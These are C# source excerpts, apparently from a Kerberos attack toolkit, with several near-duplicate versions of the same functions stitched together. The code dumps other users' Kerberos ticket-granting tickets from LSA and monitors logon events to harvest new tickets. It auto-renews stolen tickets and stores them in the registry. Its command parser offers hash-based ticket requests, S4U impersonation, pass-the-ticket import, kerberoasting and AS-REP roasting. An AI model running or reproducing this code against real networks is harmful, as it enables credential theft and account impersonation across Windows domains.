public void HarvestTicketGrantingTickets() { if (!Helpers.IsHighIntegrity()) { Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); return; } // get the current set of TGTs while (true) { // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration List <LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true); List <KRB_CRED> currentTickets = new List <KRB_CRED>(); foreach (var sessionCred in sessionCreds) { foreach (var ticket in sessionCred.Tickets) { currentTickets.Add(ticket.KrbCred); } } if (renewTickets) { // "harvest" mode - so don't display new tickets as they come in AddTicketsToTicketCache(currentTickets, false); // check if we're at a new display interval if (lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1)) { this.lastDisplay = DateTime.Now; // refresh/renew everything in the cache and display the working set RefreshTicketCache(true); Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds); } else { // refresh/renew everything in the cache, but don't display the working set RefreshTicketCache(); } } else { // "monitor" mode - display new ticketson harvest AddTicketsToTicketCache(currentTickets, true); } if (registryBasePath != null) { LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath); } Thread.Sleep(monitorIntervalSeconds * 1000); } }
public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null) { // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific // logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user. if (!Helpers.IsHighIntegrity()) { Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); return; } // used to keep track of LUIDs we've already dumped var seenLUIDs = new Dictionary <ulong, bool>(); Console.WriteLine("[*] Action: TGT Monitoring"); Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds); if (!String.IsNullOrEmpty(targetUser)) { Console.WriteLine("[*] Target user : {0}", targetUser); } Console.WriteLine(); while (true) { // check for 4624 logon events in the past "intervalSeconds" string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]] and *[EventData[Data[@Name='AuthenticationPackageName']='Kerberos']]", (intervalSeconds + 3) * 1000); EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString); EventLogReader logReader = new EventLogReader(eventsQuery); for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent()) { // if there's an event, extract out the logon ID (LUID) for the session string eventMessage = eventInstance.FormatDescription(); DateTime eventTime = (DateTime)eventInstance.TimeCreated; string targetUserName = eventInstance.Properties[5].Value.ToString(); string targetUserDomain = eventInstance.Properties[6].Value.ToString(); string targetLogonId = eventInstance.Properties[7].Value.ToString(); string srcNetworkAddress = eventInstance.Properties[18].Value.ToString(); // ignore SYSTEM logons and other defaults if (Regex.IsMatch(targetUserName, @"^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON)$", RegexOptions.IgnoreCase)) { continue; } Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, targetUserDomain, targetUserName, srcNetworkAddress); // filter if we're targeting a specific user if (targetUser != null && !Regex.IsMatch(targetUserName, Regex.Escape(targetUser), RegexOptions.IgnoreCase)) { continue; } try { // check if we've seen this LUID before Interop.LUID luid = new Interop.LUID(targetLogonId); if (!seenLUIDs.ContainsKey((ulong)luid)) { seenLUIDs[luid] = true; // if we haven't seen it, extract any TGTs for that particular logon ID LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath); } } catch (Exception e) { Console.WriteLine("[X] Exception: {0}", e.Message); } } Thread.Sleep(intervalSeconds * 1000); } }
public static void HarvestTGTs(int intervalMinutes, string registryBasePath) { // First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events // every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log. // On each interval, renew any tickets that are about to expire and refresh the cache. // End result: every "intervalMinutes" a set of currently valid TGT .kirbi files are dumped to console if (!Helpers.IsHighIntegrity()) { Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); return; } Console.WriteLine("[*] Action: TGT Harvesting (w/ auto-renewal)"); Console.WriteLine("\r\n[*] Monitoring every {0} minutes for 4624 logon events\r\n", intervalMinutes); // used to keep track of LUIDs we've already dumped var seenLUIDs = new Dictionary <ulong, bool>(); // get the current set of TGTs List <KRB_CRED> creds = LSA.ExtractTGTs(new Interop.LUID()); while (true) { // check for 4624 logon events in the past "intervalSeconds" string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalMinutes * 60 * 1000); EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString); EventLogReader logReader = new EventLogReader(eventsQuery); for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent()) { // if there's an event, extract out the logon ID (LUID) for the session string eventMessage = eventInstance.FormatDescription(); DateTime eventTime = (DateTime)eventInstance.TimeCreated; int startIndex = eventMessage.IndexOf("New Logon:"); string message = eventMessage.Substring(startIndex); // extract out relevant information from the event log message var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n")); Match acctNameMatch = acctNameExpression.Match(message); var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n")); Match acctDomainMatch = acctDomainExpression.Match(message); if (acctNameMatch.Success) { var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n")); Match srcNetworkMatch = srcNetworkExpression.Match(message); string logonName = acctNameMatch.Groups["name"].Value; string accountDomain = ""; string srcNetworkAddress = ""; try { accountDomain = acctDomainMatch.Groups["domain"].Value; } catch { } try { srcNetworkAddress = srcNetworkMatch.Groups["address"].Value; } catch { } // ignore SYSTEM logons and other defaults if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress); var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n")); Match match2 = expression2.Match(message); if (match2.Success) { try { // check if we've seen this LUID before Interop.LUID luid = new Interop.LUID(match2.Groups["id"].Value); if (!seenLUIDs.ContainsKey((ulong)luid)) { seenLUIDs[luid] = true; // if we haven't seen it, extract any TGTs for that particular logon ID and add to the cache List <KRB_CRED> newCreds = LSA.ExtractTGTs(luid); creds.AddRange(newCreds); } } catch (Exception e) { Console.WriteLine("[X] Exception: {0}", e.Message); } } } } } for (int i = creds.Count - 1; i >= 0; i--) { DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].endtime); DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].renew_till); // check if the ticket is going to expire before the next interval checkin if (endTime < DateTime.Now.AddMinutes(intervalMinutes)) { // check if the ticket's renewal limit will be valid within the next interval if (renewTill < DateTime.Now.AddMinutes(intervalMinutes)) { // renewal limit under checkin interval, so remove the ticket from the cache creds.RemoveAt(i); } else { // renewal limit after checkin interval, so renew the TGT string userName = creds[i].enc_part.ticket_info[0].pname.name_string[0]; string domainName = creds[i].enc_part.ticket_info[0].prealm; Console.WriteLine("[*] Renewing TGT for {0}@{1}", userName, domainName); byte[] bytes = Renew.TGT(creds[i], false, "", false); KRB_CRED renewedCred = new KRB_CRED(bytes); creds[i] = renewedCred; } } } Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now); LSA.DisplayTGTs(creds); if (registryBasePath != null) { LSA.SaveTicketsToRegistry(creds, registryBasePath); } Thread.Sleep(intervalMinutes * 60 * 1000); } }
public static void Monitor4624(int intervalSeconds, string targetUser) { // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific // logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user. if (!Helpers.IsHighIntegrity()) { Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); return; } // used to keep track of LUIDs we've already dumped var seenLUIDs = new Dictionary <UInt32, bool>(); Console.WriteLine("[*] Action: TGT Monitoring"); Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds); if (!String.IsNullOrEmpty(targetUser)) { Console.WriteLine("[*] Target user : {0}", targetUser); targetUser = targetUser.Replace("$", "\\$"); } Console.WriteLine(); while (true) { // check for 4624 logon events in the past "intervalSeconds" string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalSeconds * 1000); EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString); EventLogReader logReader = new EventLogReader(eventsQuery); for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent()) { // if there's an event, extract out the logon ID (LUID) for the session string eventMessage = eventInstance.FormatDescription(); DateTime eventTime = (DateTime)eventInstance.TimeCreated; int startIndex = eventMessage.IndexOf("New Logon:"); string message = eventMessage.Substring(startIndex); // extract out relevant information from the event log message var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n")); Match acctNameMatch = acctNameExpression.Match(message); var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n")); Match acctDomainMatch = acctDomainExpression.Match(message); if (acctNameMatch.Success) { var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n")); Match srcNetworkMatch = srcNetworkExpression.Match(message); string logonName = acctNameMatch.Groups["name"].Value; string accountDomain = ""; string srcNetworkAddress = ""; try { accountDomain = acctDomainMatch.Groups["domain"].Value; } catch { } try { srcNetworkAddress = srcNetworkMatch.Groups["address"].Value; } catch { } // ignore SYSTEM logons and other defaults if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress); // filter if we're targeting a specific user if (String.IsNullOrEmpty(targetUser) || (Regex.IsMatch(logonName, targetUser, RegexOptions.IgnoreCase))) { var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n")); Match match2 = expression2.Match(message); if (match2.Success) { try { // check if we've seen this LUID before UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16); if (!seenLUIDs.ContainsKey(luid)) { seenLUIDs[luid] = true; // if we haven't seen it, extract any TGTs for that particular logon ID LSA.ListKerberosTicketData(luid, "krbtgt", true); } } catch (Exception e) { Console.WriteLine("[X] Exception: {0}", e.Message); } } } } } } System.Threading.Thread.Sleep(intervalSeconds * 1000); } }
static void Main(string[] args) { Logo(); var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf(':'); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } else { arguments[argument] = ""; } } if (arguments.ContainsKey("asktgt")) { string user = ""; string domain = ""; string hash = ""; string dc = ""; bool ptt = false; uint luid = 0; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } if (arguments.ContainsKey("/createnetonly")) { // if we're starting a hidden process to apply the ticket to if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); return; } if (arguments.ContainsKey("/show")) { luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true); } else { luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false); } Console.WriteLine(); } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n"); return; } else { Ask.TGT(user, domain, hash, encType, ptt, dc, luid); return; } } if (arguments.ContainsKey("renew")) { bool ptt = false; string dc = ""; if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n"); return; } } if (arguments.ContainsKey("s4u")) { string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (String.IsNullOrEmpty(targetUser)) { Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } } if (arguments.ContainsKey("ptt")) { uint luid = 0; if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); LSA.ImportTicket(kirbiBytes, luid); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); LSA.ImportTicket(kirbiBytes, luid); } else { Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n"); return; } } if (arguments.ContainsKey("purge")) { uint luid = 0; if (arguments.ContainsKey("/luid")) { try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } } LSA.Purge(luid); } else if (arguments.ContainsKey("kerberoast")) { string spn = ""; string user = ""; string OU = ""; if (arguments.ContainsKey("/spn")) { spn = arguments["/spn"]; } if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/ou")) { OU = arguments["/ou"]; } if (arguments.ContainsKey("/creduser")) { if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); return; } string[] parts = arguments["/creduser"].Split('\\'); string domainName = parts[0]; string userName = parts[1]; if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } string password = arguments["/credpassword"]; System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName); Roast.Kerberoast(spn, user, OU, cred); } else { Roast.Kerberoast(spn, user, OU); } } else if (arguments.ContainsKey("asreproast")) { string user = ""; string domain = ""; string dc = ""; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(dc)) { Roast.ASRepRoast(user, domain); } else { Roast.ASRepRoast(user, domain, dc); } } else if (arguments.ContainsKey("dump")) { if (arguments.ContainsKey("/luid")) { string service = ""; if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } UInt32 luid = 0; try { luid = UInt32.Parse(arguments["/luid"]); } catch { try { luid = Convert.ToUInt32(arguments["/luid"], 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]); return; } } LSA.ListKerberosTicketData(luid, service); } else if (arguments.ContainsKey("/service")) { LSA.ListKerberosTicketData(0, arguments["/service"]); } else { LSA.ListKerberosTicketData(); } } else if (arguments.ContainsKey("monitor")) { string targetUser = ""; int interval = 60; if (arguments.ContainsKey("/filteruser")) { targetUser = arguments["/filteruser"]; } if (arguments.ContainsKey("/interval")) { interval = Int32.Parse(arguments["/interval"]); } Harvest.Monitor4624(interval, targetUser); } else if (arguments.ContainsKey("harvest")) { int intervalMinutes = 60; if (arguments.ContainsKey("/interval")) { intervalMinutes = Int32.Parse(arguments["/interval"]); } Harvest.HarvestTGTs(intervalMinutes); } else if (arguments.ContainsKey("describe")) { if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n"); return; } } else if (arguments.ContainsKey("createnetonly")) { if (arguments.ContainsKey("/program")) { if (arguments.ContainsKey("/show")) { LSA.CreateProcessNetOnly(arguments["/program"], true); } else { LSA.CreateProcessNetOnly(arguments["/program"]); } } else { Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); } } else { Usage(); } }
public void HarvestTicketGrantingTickets() { if (!Helpers.IsHighIntegrity()) { Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); return; } // get the current set of TGTs while (true) { // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration List <LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true); List <KRB_CRED> currentTickets = new List <KRB_CRED>(); foreach (var sessionCred in sessionCreds) { foreach (var ticket in sessionCred.Tickets) { currentTickets.Add(ticket.KrbCred); } } if (renewTickets) { // "harvest" mode - so don't display new tickets as they come in AddTicketsToTicketCache(currentTickets, false); // check if we're at a new display interval if (lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1)) { this.lastDisplay = DateTime.Now; // refresh/renew everything in the cache and display the working set RefreshTicketCache(true); Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds); } else { // refresh/renew everything in the cache, but don't display the working set RefreshTicketCache(); } } else { // "monitor" mode - display new ticketson harvest AddTicketsToTicketCache(currentTickets, true); } if (registryBasePath != null) { LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath); } if (runFor > 0) { // compares execution start time + time entered to run the harvest for against current time to determine if we should exit if (collectionStart.AddSeconds(this.runFor) < DateTime.Now) { Console.WriteLine("[*] Completed running for {0} seconds, exiting\r\n", runFor); System.Environment.Exit(0); } } // If a runFor time is set and the monitoring interval is longer than the time remaining on the run, // the sleep interval will be adjusted down to however much time left in the run there is. if (runFor > 0 && collectionStart.AddSeconds(this.runFor) < DateTime.Now.AddSeconds(monitorIntervalSeconds)) { TimeSpan t = collectionStart.AddSeconds(this.runFor + 1) - DateTime.Now; Thread.Sleep((int)t.TotalSeconds * 1000); } // else we'll do a normal monitor interval sleep else { Thread.Sleep(monitorIntervalSeconds * 1000); } } }